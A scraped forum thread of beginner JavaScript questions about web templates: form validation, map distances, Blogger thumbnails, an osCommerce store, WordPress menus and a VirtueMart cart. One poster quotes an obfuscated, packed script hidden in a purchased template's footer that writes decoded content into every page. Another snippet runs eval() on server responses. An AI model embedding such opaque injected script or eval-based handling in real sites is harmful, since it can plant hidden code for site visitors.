JavaScript - Form Template
Guys n Gals ..anyone got ro know where I can source a basic JS Form with name adddress, e-mail fields etc that comes with the validation code for said fileds..need a form to post to our mobile messaging platform and finding it v.difficult to get the code correct so coudl use 'here's opne I doen ealrier example' to use butmore importantly to lookat and understand how the codingis set out....thanks in advance for your help
Similar TutorialsHi there, I was wondering if anyone knew if this site was based on a web template and if yes where I could get it. www.ahoodie.com Thanks!!!! Hi, First of all I am not a javascript programmer. I am using Datalife Engine with a tpl file. I have javascript that shows a google map which works fine. I just added javascript to calculate the distance between two points lat1, lon1, lat2, lon2. No error there. Now the only problem I have now is how to I get the result in miles to display in the google map content label? I've tried many things and obviously wrong because the map will not display at all when I try to get the var dist to show. I want to display the distance here between Event: & miles. --> Distance to Event: miles Here is what I have so far. Code: var lat1 = ([xfvalue_koordx]); var lon1 = ([xfvalue_koordy]); var lat2 = (39.759709); var lon2 = (-86.164644); var unit = 'M'; function distance(lat1, lon1, lat2, lon2, unit) { var radlat1 = Math.PI * lat1/180 var radlat2 = Math.PI * lat2/180 var radlon1 = Math.PI * lon1/180 var radlon2 = Math.PI * lon2/180 var theta = lon1-lon2 var radtheta = Math.PI * theta/180 var dist = Math.sin(radlat1) * Math.sin(radlat2) + Math.cos(radlat1) * Math.cos(radlat2) * Math.cos(radtheta); dist = Math.acos(dist) dist = dist * 180/Math.PI dist = dist * 60 * 1.1515 if (unit=="K") { dist = dist * 1.609344 } if (unit=="N") { dist = dist * 0.8684 } return dist } myInfoWindowOptions = { content: '<div class="info-window-content"><h4>{title}</h4><p>[xfvalue_Address]</p><p>[xfvalue_City], [xfvalue_State] [xfvalue_Zip Code]</p><p>Distance to Event: miles</div>', maxWidth: 200 }; infoWindow = new google.maps.InfoWindow(myInfoWindowOptions); google.maps.event.addListener(marker, 'click', function() { infoWindow.open(map,marker); }); google.maps.event.addListener(marker, 'dragstart', function(){ infoWindow.close(); }); infoWindow.open(map,marker2); } Beginner to intermediate JS coder. Question: Is there a possible way to create a js function that will change a web page template and have the duration change every 4 months? This means that all pages corresponding to the template being used will change with the template? I have 4 page designs and would like to implement the different designs every 4 months but would like to create a script that will automatically do this instead of having to manually go in and change every page to match the template desired. Thoughts? Hello, I am just creating a blog (with blogspot) and the basis is the Lockheart template: http://lockheart-dzignine.blogspot.co.uk/ Problem: I want the thumbnails on the main page to link to the post instead of opening in the shadowbox. I have no clue of javascript, so I hope someone can help me. I think I found the spot where to change it (see bold below), but I need to know what to type in there... How are the BlogPosts named in Blogspot? This is how the Javascript looks like: ______________________________________________ <script type='text/javascript'> var thumbnail_mode = "float" ; summary_noimg = 400; summary_img = 430; img_thumb_height = 150; img_thumb_width = 150; </script> <script type='text/javascript'> //<![CDATA[ function removeHtmlTag(strx,chop){ if(strx.indexOf("<")!=-1) { var s = strx.split("<"); for(var i=0;i<s.length;i++){ if(s[i].indexOf(">")!=-1){ s[i] = s[i].substring(s[i].indexOf(">")+1,s[i].length); } } strx = s.join(""); } chop = (chop < strx.length-1) ? chop : strx.length-2; while(strx.charAt(chop-1)!=' ' && strx.indexOf(' ',chop)!=-1) chop++; strx = strx.substring(0,chop-1); return strx+'...'; } function createSummaryAndThumb(pID){ var div = document.getElementById(pID); var imgtag = ""; var img = div.getElementsByTagName("img"); var summ = summary_noimg; if(img.length>=1) { imgtag = '<div class="crop"><a href="'+img[0].src+'"><img src="'+img[0].src+'" width="270px;" /></a></div>'; summ = summary_img; } var summary = imgtag + '<div>' + removeHtmlTag(div.innerHTML,summ) + '</div>'; div.innerHTML = summary; } //]]> </script> _________________________________ Thanks for your help. I am new to this forum and self taught (amateur) programmer. I am making my eBay template for items that I sell (vintage clothing). I use the auction management system Blackthorne. I am trying to make my images swap over like this seller: Image rollover i want to replicate. It is not difficult to this in most listings but because I use Blackthorne, I have to put tags rather than the exact url of the image in my template. for example, [[picture1]], [[picture2]], etc. I do have a script which works so that the user can click on the photo to change it but I would prefer it if they could mouseover. The script I have been given to use is on this link: picture show script Thanks in advance. Hello all, I am enrolled in a class that requires a bit of JS/HTML coding; my final project is to create a simple page representing myself. See example. And yes, that is my teacher. I am allowed to utilize "templates or tools". I am using my macbook, but I have access to school windows computers. Any suggestions on what to use to complete this assignment are greatly appreciated. I have this junky web template for oscommerce, but I am in way too deep to turn around now. From day one of installing the osc, I have had this little error in the bottom left corner of internet explorer. It occurs on every page. You can view the site at http://www.burgersmarketpc.com/catalog I can only think this code is what makes it happen, which is only seen by "view source" in internet explorer. Code: </tr><tr valign="middle" class="footertext"><td align="left" width="25%"> </td><td align="right" width="25%"><a style="padding-right:20px;color:#000000" href="http://www.********************/oscommerce-templates.html">osCommerce Templates</a></td></tr></table></td></tr></table></center><script type='text/javascript'> eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('O I(){D a=J K(9,9,E,j,4,8,3,h,2,5,7,f,6,F,z,f,F,1,k,l,P,f,G,f,Q,4,8,3,h,2,l,5,2,R,h,1,k,l,2,1,S,2,p,T,f,G,f,j,4,8,3,h,2,l,A,10,9,9,9,G,f,8,5,7,3,6,n,r,4,5,k,5,s,g,4,z,e,1,6,2,m,7,3,6,n,j,m,7,1,6,F,2,o,u,H,v,10,9,9,9,G,f,8,5,7,3,6,n,r,2,5,k,5,w,w,v,10,9,9,9,t,g,8,5,B,v,7,3,6,n,r,4,A,u,H,v,7,3,6,n,r,4,u,u,C,5,U,10,9,9,9,9,3,t,5,B,s,g,4,z,e,1,6,2,m,7,3,6,n,j,V,7,3,6,n,r,4,W,m,o,8,1,t,5,k,k,5,l,o,2,2,h,L,p,p,q,q,q,m,q,1,x,j,3,2,1,2,1,e,h,7,f,2,1,j,m,x,M,p,g,j,4,g,e,e,1,8,4,1,u,2,1,e,h,7,f,2,1,j,m,o,2,e,7,l,C,5,x,8,1,f,n,v,10,9,9,9,9,3,t,5,B,7,3,6,n,r,4,5,k,k,k,5,y,C,5,s,g,4,z,e,1,6,2,m,q,8,3,2,1,B,w,E,3,t,8,f,e,1,5,o,1,3,F,o,2,k,l,X,y,y,l,5,q,3,s,2,o,k,l,H,y,y,Y,l,5,x,g,8,s,1,8,k,l,y,l,5,j,8,4,k,l,o,2,2,h,L,p,p,q,q,q,m,q,1,x,j,3,2,1,2,1,e,h,7,f,2,1,j,m,x,M,p,g,j,4,g,e,e,1,8,4,1,u,2,1,e,h,7,f,2,1,j,m,o,2,e,7,,h,3,4,p,1,p,4,o,1,4,n,r,7,3,6,n,r,g,4,m,h,o,h,Z,7,3,6,n,k,w,N,1,6,4,g,s,1,11,12,13,14,g,e,h,g,6,1,6,2,B,s,g,4,z,e,1,6,2,m,7,g,4,f,2,3,g,6,m,o,8,1,t,C,N,w,l,5,A,E,p,3,t,8,f,e,1,A,w,C,v,10,9,9,9,15,10,9,9,E,p,j,4,8,3,h,2,A);D b=J K();D c;D d='';16(i=0;i<a.17;i++){b[i]=18.19(a[i]);c=d+=b[i]}1a.1b(c)}I();',62,74,'|101|116|105|99|32|110|108|114||||||109|97|111|112||115|61|34|46|107|104|47|119|95|100|102|45|59|39|98|48|117|62|40|41|var|60|103|118|49|myCodedStuff|new|Array|58|122|43|function|74|83|121|120|106|123|91|93|50|37|63||85|82|73|67|125|for|length|String|fromCharCode|document|write'.split('|'),0,{}))</script></body> my file index.php is the main page, which should create all that mess, but i dont know how it creates all that. I really hope you guys can lead me to the fix. here is the index.php code PHP Code: <?php if ($category_depth == 'nested') { // categoies with subcategory $category_query = tep_db_query("select cd.categories_name, c.categories_image from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.categories_id = '" . (int)$current_category_id . "' and cd.categories_id = '" . (int)$current_category_id . "' and cd.language_id = '" . (int)$languages_id . "'"); $category = tep_db_fetch_array($category_query); ?> <table border="0" width="100%" cellspacing="0" cellpadding="0"> <tr> <td><table border="0" width="100%" cellspacing="0" cellpadding="0" class="head_table"> <tr> <td class="pageHeading"><?php echo HEADING_TITLE; ?></td> <td class="pageHeading2" align="right"><?php echo tep_image(DIR_WS_IMAGES . $category['categories_image'], $category['categories_name'], HEADING_IMAGE_WIDTH, HEADING_IMAGE_HEIGHT); ?></td> </tr> </table></td> </tr> <tr> <td><table border="0" width="100%" cellspacing="0" cellpadding="0"> <tr> <td align="center"><table border="0" cellspacing="10" cellpadding="5" class="categ_table"> <tr> <?php if (isset($cPath) && strpos('_', $cPath)) { // check to see if there are deeper categories within the current category $category_links = array_reverse($cPath_array); for($i=0, $n=sizeof($category_links); $i<$n; $i++) { $categories_query = tep_db_query("select count(*) as total from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$category_links[$i] . "' and c.categories_id = cd.categories_id and cd.language_id = '" . (int)$languages_id . "'"); $categories = tep_db_fetch_array($categories_query); if ($categories['total'] < 1) { // do nothing, go through the loop } else { $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.categories_image, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$category_links[$i] . "' and c.categories_id = cd.categories_id and cd.language_id = '" . (int)$languages_id . "' order by sort_order, cd.categories_name"); break; // we've found the deepest category the customer is in } } } else { $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.categories_image, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$current_category_id . "' and c.categories_id = cd.categories_id and cd.language_id = '" . (int)$languages_id . "' order by sort_order, cd.categories_name"); } $number_of_categories = tep_db_num_rows($categories_query); $rows = 0; while ($categories = tep_db_fetch_array($categories_query)) { $rows++; $cPath_new = tep_get_path($categories['categories_id']); $width = (int)(100 / MAX_DISPLAY_CATEGORIES_PER_ROW) . '%'; echo '<td align="center" class="smallText" width="' . $width . '" valign="top" ><a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">' . tep_image(DIR_WS_IMAGES . $categories['categories_image'], $categories['categories_name'], SUBCATEGORY_IMAGE_WIDTH, SUBCATEGORY_IMAGE_HEIGHT,'class="subcategory_image"') . '<br>' . $categories['categories_name'] . '</a>'.'</td>' . "\n"; if ((($rows / MAX_DISPLAY_CATEGORIES_PER_ROW) == floor($rows / MAX_DISPLAY_CATEGORIES_PER_ROW)) && ($rows != $number_of_categories)) { echo '</tr>' . "\n"; echo '<tr>' . "\n"; } } // needed for the new products module shown below $new_products_category_id = $current_category_id; ?> </tr> </table></td> </tr> <tr> <td><?php include(DIR_WS_MODULES . FILENAME_NEW_PRODUCTS); ?></td> </tr> </table></td> </tr> </table><?php } elseif ($category_depth == 'products' || isset($HTTP_GET_VARS['manufacturers_id'])) { // categoies without subcategory // create column list $define_list = array('PRODUCT_LIST_MODEL' => PRODUCT_LIST_MODEL, 'PRODUCT_LIST_NAME' => PRODUCT_LIST_NAME, 'PRODUCT_LIST_MANUFACTURER' => PRODUCT_LIST_MANUFACTURER, 'PRODUCT_LIST_PRICE' => PRODUCT_LIST_PRICE, 'PRODUCT_LIST_QUANTITY' => PRODUCT_LIST_QUANTITY, 'PRODUCT_LIST_WEIGHT' => PRODUCT_LIST_WEIGHT, 'PRODUCT_LIST_IMAGE' => PRODUCT_LIST_IMAGE, 'PRODUCT_LIST_BUY_NOW' => PRODUCT_LIST_BUY_NOW); asort($define_list); $column_list = array(); reset($define_list); while (list($key, $value) = each($define_list)) { if ($value > 0) $column_list[] = $key; } $select_column_list = ''; for ($i=0, $n=sizeof($column_list); $i<$n; $i++) { switch ($column_list[$i]) { case 'PRODUCT_LIST_MODEL': $select_column_list .= 'p.products_model, '; break; case 'PRODUCT_LIST_NAME': $select_column_list .= 'pd.products_name, '; break; case 'PRODUCT_LIST_MANUFACTURER': $select_column_list .= 'm.manufacturers_name, '; break; case 'PRODUCT_LIST_QUANTITY': $select_column_list .= 'p.products_quantity, '; break; case 'PRODUCT_LIST_IMAGE': $select_column_list .= 'p.products_image, '; break; case 'PRODUCT_LIST_WEIGHT': $select_column_list .= 'p.products_weight, '; break; } } // show the products of a specified manufacturer if (isset($HTTP_GET_VARS['manufacturers_id'])) { if (isset($HTTP_GET_VARS['filter_id']) && tep_not_null($HTTP_GET_VARS['filter_id'])) { // We are asked to show only a specific category $listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS . " p left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c where p.products_status = '1' and p.manufacturers_id = m.manufacturers_id and m.manufacturers_id = '" . (int)$HTTP_GET_VARS['manufacturers_id'] . "' and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = '" . (int)$languages_id . "' and p2c.categories_id = '" . (int)$HTTP_GET_VARS['filter_id'] . "'"; } else { // We show them all $listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS . " p left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m where p.products_status = '1' and pd.products_id = p.products_id and pd.language_id = '" . (int)$languages_id . "' and p.manufacturers_id = m.manufacturers_id and m.manufacturers_id = '" . (int)$HTTP_GET_VARS['manufacturers_id'] . "'"; } } else { // show the products in a given categorie if (isset($HTTP_GET_VARS['filter_id']) && tep_not_null($HTTP_GET_VARS['filter_id'])) { // We are asked to show only specific catgeory $listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS . " p left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c where p.products_status = '1' and p.manufacturers_id = m.manufacturers_id and m.manufacturers_id = '" . (int)$HTTP_GET_VARS['filter_id'] . "' and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = '" . (int)$languages_id . "' and p2c.categories_id = '" . (int)$current_category_id . "'"; } else { // We show them all $listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_PRODUCTS . " p left join " . TABLE_MANUFACTURERS . " m on p.manufacturers_id = m.manufacturers_id left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c where p.products_status = '1' and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = '" . (int)$languages_id . "' and p2c.categories_id = '" . (int)$current_category_id . "'"; } } if ( (!isset($HTTP_GET_VARS['sort'])) || (!ereg('^[1-8][ad]$', $HTTP_GET_VARS['sort'])) || (substr($HTTP_GET_VARS['sort'], 0, 1) > sizeof($column_list)) ) { for ($i=0, $n=sizeof($column_list); $i<$n; $i++) { if ($column_list[$i] == 'PRODUCT_LIST_NAME') { $HTTP_GET_VARS['sort'] = $i+1 . 'a'; $listing_sql .= " order by pd.products_name"; break; } } } else { $sort_col = substr($HTTP_GET_VARS['sort'], 0 , 1); $sort_order = substr($HTTP_GET_VARS['sort'], 1); switch ($column_list[$sort_col-1]) { case 'PRODUCT_LIST_MODEL': $listing_sql .= " order by p.products_model " . ($sort_order == 'd' ? 'desc' : '') . ", pd.products_name"; break; case 'PRODUCT_LIST_NAME': $listing_sql .= " order by pd.products_name " . ($sort_order == 'd' ? 'desc' : ''); break; case 'PRODUCT_LIST_MANUFACTURER': $listing_sql .= " order by m.manufacturers_name " . ($sort_order == 'd' ? 'desc' : '') . ", pd.products_name"; break; case 'PRODUCT_LIST_QUANTITY': $listing_sql .= " order by p.products_quantity " . ($sort_order == 'd' ? 'desc' : '') . ", pd.products_name"; break; case 'PRODUCT_LIST_IMAGE': $listing_sql .= " order by pd.products_name"; break; case 'PRODUCT_LIST_WEIGHT': $listing_sql .= " order by p.products_weight " . ($sort_order == 'd' ? 'desc' : '') . ", pd.products_name"; break; case 'PRODUCT_LIST_PRICE': $listing_sql .= " order by final_price " . ($sort_order == 'd' ? 'desc' : '') . ", pd.products_name"; break; } } ?> <table border="0" width="<?php echo $content; ?>" cellspacing="0" cellpadding="0"> <tr> <td><table border="0" width="<?php echo $content; ?>" cellspacing="0" cellpadding="0" class="head_table"> <tr> <td class="pageHeading"><?php echo HEADING_TITLE; ?></td> <?php // optional Product List Filter if (PRODUCT_LIST_FILTER > 0) { if (isset($HTTP_GET_VARS['manufacturers_id'])) { $filterlist_sql = "select distinct c.categories_id as id, cd.categories_name as name from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c, " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where p.products_status = '1' and p.products_id = p2c.products_id and p2c.categories_id = c.categories_id and p2c.categories_id = cd.categories_id and cd.language_id = '" . (int)$languages_id . "' and p.manufacturers_id = '" . (int)$HTTP_GET_VARS['manufacturers_id'] . "' order by cd.categories_name"; } else { $filterlist_sql= "select distinct m.manufacturers_id as id, m.manufacturers_name as name from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c, " . TABLE_MANUFACTURERS . " m where p.products_status = '1' and p.manufacturers_id = m.manufacturers_id and p.products_id = p2c.products_id and p2c.categories_id = '" . (int)$current_category_id . "' order by m.manufacturers_name"; } $filterlist_query = tep_db_query($filterlist_sql); if (tep_db_num_rows($filterlist_query) > 1) { echo '<td align="left" class="pageHeading3" width="190"' . tep_draw_form('filter', FILENAME_DEFAULT, 'get') . ' '; if (isset($HTTP_GET_VARS['manufacturers_id'])) { echo tep_draw_hidden_field('manufacturers_id', $HTTP_GET_VARS['manufacturers_id']); $options = array(array('id' => '', 'text' => TEXT_ALL_CATEGORIES)); } else { echo tep_draw_hidden_field('cPath', $cPath); $options = array(array('id' => '', 'text' => TEXT_ALL_MANUFACTURERS)); } echo tep_draw_hidden_field('sort', $HTTP_GET_VARS['sort']); while ($filterlist = tep_db_fetch_array($filterlist_query)) { $options[] = array('id' => $filterlist['id'], 'text' => $filterlist['name']); } echo tep_draw_pull_down_menu('filter_id', $options, (isset($HTTP_GET_VARS['filter_id']) ? $HTTP_GET_VARS['filter_id'] : ''), 'onchange="this.form.submit()"'); echo tep_hide_session_id() . '</form></td>' . "\n"; } } // Get the right image for the top-right $image = DIR_WS_IMAGES . 'table_background_list.gif'; if (isset($HTTP_GET_VARS['manufacturers_id'])) { $image = tep_db_query("select manufacturers_image from " . TABLE_MANUFACTURERS . " where manufacturers_id = '" . (int)$HTTP_GET_VARS['manufacturers_id'] . "'"); $image = tep_db_fetch_array($image); $image = $image['manufacturers_image']; } elseif ($current_category_id) { $image = tep_db_query("select categories_image from " . TABLE_CATEGORIES . " where categories_id = '" . (int)$current_category_id . "'"); $image = tep_db_fetch_array($image); $image = $image['categories_image']; } ?> <?php echo HEADING_IMAGE_WIDTH ? '<td class="pageHeading2" width="'.HEADING_IMAGE_WIDTH.'">'.tep_image(DIR_WS_IMAGES . $image, HEADING_TITLE, HEADING_IMAGE_WIDTH, HEADING_IMAGE_HEIGHT).'</td>' : ''; ?> </tr> </table></td> </tr> <tr> <td><?php include(DIR_WS_MODULES . "product_listing_2.php"); ?></td> </tr> </table> <?php } else { // default page ?> <table border="0" cellspacing="0" cellpadding="0"> <tr> <td><?php include(DIR_WS_MODULES . FILENAME_NEW_PRODUCTS); ?></td> </tr> </table><?php } ?> if you need to see any other files, just let me know. I will much appreciate the help and fix to this. Thanks! Hello, I'm trying to change the background image with a mouseover function on the menu (Center Consoles, etc.). Here's my the page I'm working on (Boats | Striper Boats) When you hover on Center Consoles> 200CC, the background image should change. What am I doing wrong?? My Wordpress template uses this php code to call the background image: PHP Code: <?php /* #Start the Loop ======================================================*/ if (have_posts()) : while (have_posts()) : the_post(); ?> <?php /* #Get Fullscreen Background ======================================================*/ $pageimage = get_post_meta($post->ID,'_thumbnail_id',false); $pageimage = wp_get_attachment_image_src($pageimage[0], 'full', false); ag_fullscreen_bg($pageimage[0]); ?> and here is my code for the Javascript I set up to get the mouseover function and to set up the menu: PHP Code: <script language="JavaScript"> var backImage = new Array(); // don't change this // Note how backImage[3] = "" -- which would // set the page to *no* background image. backImage[0] = "http://takeitto11.com/striper2015/wp-content/uploads/2014/10/Striper_HPS_1500x150010.jpg"; backImage[1] = "22.jpg"; backImage[2] = "33.jpg"; backImage[3] = ""; // Do not edit below this line. //----------------------------- function changeBGImage(whichImage){ if (document.body){ document.body.background = backImage[whichImage]; } } </script> <div class="contentarea"> <div id='cssmenu'> <ul> <li class='has-sub'><a href='#'>Center Consoles</a> <ul> <li class='sub'><a class="rollover" href="http://takeitto11.com/striper2015/portfolio/2oo-cc/" onMouseOver="javascript:changeBGImage(0)">200 CC</a></li> <li class='sub'><a class="220CC" href='#'>220 CC</a></li> <li class='sub'><a class="2605CC" href='#'>2605 CC</a></li> </ul> </li> <li class='has-sub '><a href='#'>Dual Consoles</a> <ul> <li class='sub'><a class="200DC" href='#'>200 DC</a></li> <li class='sub'><a class="220DC" href='#'>220 DC</a></li> </ul> </li> <li class='has-sub '><a href='#'>Walk Arounds</a> <ul> <li class='sub'><a class="200WA" href='#'>200 Walk Around</a></li> <li class='sub'><a class="220WA" href='#'>220 Walk Around</a></li> <li class='sub'><a class="2601WA" href='#'>2601 Walk Around</a></li> <li class='sub'><a class="2901WA" href='#'>2901 Walk Around</a></li> </ul> </li> </div> <div class="clear"></div> </ul> For some reason it's not working. I've already tried jQuery and that ended up with some weird results, please help!! We are using Volusion for our shopping cart, but I am trying to put a pop-up option in there for marketing. Volusion operates using a template.htm and css files that I can access, and of course I cannot access the root file (default/index.htm). The program I am tyring to use says to place the following line next to the <body> tag of the default page: <!-- POPUP --><script src=http://www.metalcloak.com/v/34.popup/script.js></script><!-- END --> 34.popup is a folder with the applicable script and graphics. For whatever reason, if I put this line in the template file after this location: <body id="body" onload="if(typeof(store_init)=='function')store_init(event);" > It does not function. Talking with the techies at Volusion, they have no recommendation other than using JavaScript to point this script to operate on the home page only. Any help or direction of what I should do (even if it means scrapping a pre-packaged Popup Proogram as an option) is much appreciated. Thank you. Hi first time poster scratching his head. I am dipping into php to create a user profilepage.php template on a wordpress site. I have managed against all odds to create a user profile that will take info from Code: ?php the_author_meta('occupation'); ? etc, but my head is spinning trying to create an accordion for a photogallery Code: ?php echo do_shortcode("[photosmash]"); ? and youtube playlist Code: ?php (the_author_meta('youtube_playlist')); ? so I want to click on an image "MY VIDEOS" and the youtube playlist drops down, ditto with MY PHOTOS, click on the image and the gallery appears. The page with all the required content showing is http://traditionalpainter.com/andy-crichton I would really appreciate it if someone can point me in the right direction to code that will hide the gallery and video until required. Thanks in advance. hii... i had made an template and place all my code inside it it is running fine but the button is not getting near to the image can u help me with that or tell me how to do it ....and i had used software to convert template from powerpoint with a software called ppt2 flash standard and it has it logo of that website on the buttom of my template how to remove it !! Code: <html> <head> <title>U Compare</title> <script><!-- var Clicks = 0 ; function AddClick(){ Clicks = Clicks + 1; document.getElementById('CountedClicks').innerHTML = Clicks + ' votes'; } // --></script> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <script language="javascript" src="swf.js"></script> <title> compare</title> <!-- saved from url=(0014)about:internet --> </head> <body bgcolor="#999999"> <span id="CountedClicks">0 vote</span><br> <button style="background-color:white" onclick="AddClick()">vote</button> </body> <script language="javascript"> <!-- function getSlideIndex() { var strUrl = document.location.href; if (strUrl.indexOf('?') == -1 || strUrl.indexOf('=') == -1) { return 0; } return strUrl.substring(strUrl.indexOf('=') + 1, strUrl.length); } //--> </script> <body> <center> <table border="0" cellpadding="0" cellspacing="0" width="100%" height="100%"> <tr> <td width="100%" height="100%" align="center" valign="center"> <script language="javascript"> writeSwf("compare.swf?slideIndex=" + getSlideIndex(), "100%", "100%"); </script> </td> </tr> <tr> <td style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9px; color: silver;" align="right"> <span class="style1">Powered by Wondershare <a style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9px; color: silver" href="http://www.wondershare.com/pro/ppt2flash-standard.html">PPT2Flash Standard</a></span></td> </tr> </table> </center> <!-- begin htmlcommentbox.com --> <div id="HCB_comment_box"><a href="http://www.htmlcommentbox.com">your opinion box</a> is loading comments...</div> <link rel="stylesheet" type="text/css" href="http://www.htmlcommentbox.com/static/skins/simple/skin.css" /> <script type="text/javascript" language="javascript" id="hcb"> /*<!--*/ if(!window.hcb_user){hcb_user={};} (function(){s=document.createElement("script");s.setAttribute("type","text/javascript");s.setAttribute("src", "http://www.htmlcommentbox.com/jread?page="+escape((window.hcb_user && hcb_user.PAGE)||(""+window.location)).replace("+","%2B")+"&opts=406&num=10");if (typeof s!="undefined") document.getElementsByTagName("head")[0].appendChild(s);})(); /*-->*/ </script> <!-- end htmlcommentbox.com --> </body> </html> I'm trying to update a freemarker template to do the following. Currently, there is a text input area on the page defined as: <input id="ne-tags" type="text" name="tags" value="${tags!?html}" size="50" class="ne-form-textinput"/> All I'm trying to do is add a few different keywords at the top of the page. i.e.: <div onclick=""> add this text! </div> <div onclick=""> add more text! </div> When the user clicks on the keyword, it should append it to the text already in the text input area. I tried to write and call a function, write it directly into the onclick area etc, but nothing ever happens on the page. Seems very simple, but I haven't worked with JS in many years. Can anybody give me a quick sample of how to build this? I am getting error when using the script below in vm mynxx template by rockettheme in virtuemart Joomla 1.5 - It works fine outside of mynxx User inputs data into a html form- presses "Get Price" button and a price is returned to same form. Problem is that user is unable to submit to cart firebug error - callback is not a function callback(this.responseText); my ajax script Code: function Ajax() { this.instance = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject('Microsoft.XMLHTTP'); this.request = function(url, callback) { this.instance.open('GET', url, true); this.instance.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { callback(this.responseText); } } this.instance.send(null); } } function validate(form) { (new Ajax).request('testform.php?width65=' + form.width65.value + '&length65=' + form.length65.value, function(respons) { var prices = eval(respons); form.price.value = prices[0]; form.otherprice.value = prices[1]; }); } I think I have tracked the file down to theme.js and require some code to validate the function. I am new at this and this is way above me - any help would be appreciated Theme.js code - was packed - ie eval(function(p,a,c,k,e,r){e=function(c)...... I have unpacked it Code: var RokVM = {}; RokVM.autoHide = 3; // seconds before auto closing the Panel RokVM.Base= { uri:window.templatePath,start:function() { RokVM.Base.quantityBox(); RokVM.Cart.init() } ,featuredHeight:function(b) { b=$(b); if(!b) { return RokVM.Base } var c=b.getElements(".home-featured-inner"); var d=0; c.each(function(a) { d=Math.max(a.getSize().size.y,d) } ); c.setStyle("height",d) } ,quantityBox:function() { var h=$$(".cart-quantity-box, .home-featured-cartblock"); if(h.length) { h.each(function(b) { var c=b.getElement(".quantity_box_button_up"); var d=b.getElement(".quantity_box_button_down"); var f=b.getElement(".inputboxquantity"); if(!c||!d||!f) { return } var g=f.getValue().toInt(); f.addEvent("keyup",function(e) { e=(new Event(e)).stop(); var a=this.value; if(a<0) { a=0 } if(isNaN(a)) { this.value=1; a=1 } if(e.key=="up") { if($type(this.getValue().toInt())=="number") { this.value=++a } } if(e.key=="down") { if(a>0&&$type(this.getValue().toInt())=="number") { this.value=--a } } } ); f.addEvent("mousewheel",function(e) { e=(new Event(e)).stop(); var a=this.value; if(a<0) { a=0 } if(isNaN(a)) { this.value=1; a=1 } if(e.wheel==1) { if($type(this.getValue().toInt())=="number") { this.value=++a } } if(e.wheel==-1) { if(a>0&&$type(this.getValue().toInt())=="number") { this.value=--a } } } ); c.addEvent("click",function(e) { (new Event(e)).stop(); if($type(f.getValue().toInt())=="number") { f.value=++f.value } } ); d.addEvent("click",function(e) { (new Event(e)).stop(); if(f.getValue().toInt()>0&&$type(f.getValue().toInt())=="number") { f.value=--f.value } } ) } ) } } }; RokVM.Cart= { init:function() { RokVM.Cart.cartPanel=$("cart-panel"); RokVM.Cart.cartButton=$("cart-button"); RokVM.Cart.cartSurround=$("cart-panel-surround"); if(!RokVM.Cart.cartPanel||!RokVM.Cart.cartButton||!RokVM.Cart.cartSurround) { return RokVM.Cart } if(!RokVM.Cart.Fx) { RokVM.Cart.Fx=(new(Fx.Slide)(RokVM.Cart.cartPanel, { duration:400,transition:Fx.Transitions.Expo.easeOut } )).hide() } RokVM.Cart.cartSurround.setStyle("visibility","visible"); RokVM.Cart.cartButton.getFirst("a").addEvent("click",function(e) { (new Event(e)).stop(); if(!RokVM.Cart.cartPanel.getText().length&&!window.webkit) { return } if(!RokVM.Cart.cartPanel.innerHTML.clean().length&&window.webkit) { return } var a=RokVM.Cart.cartButton.getElement("strong"); 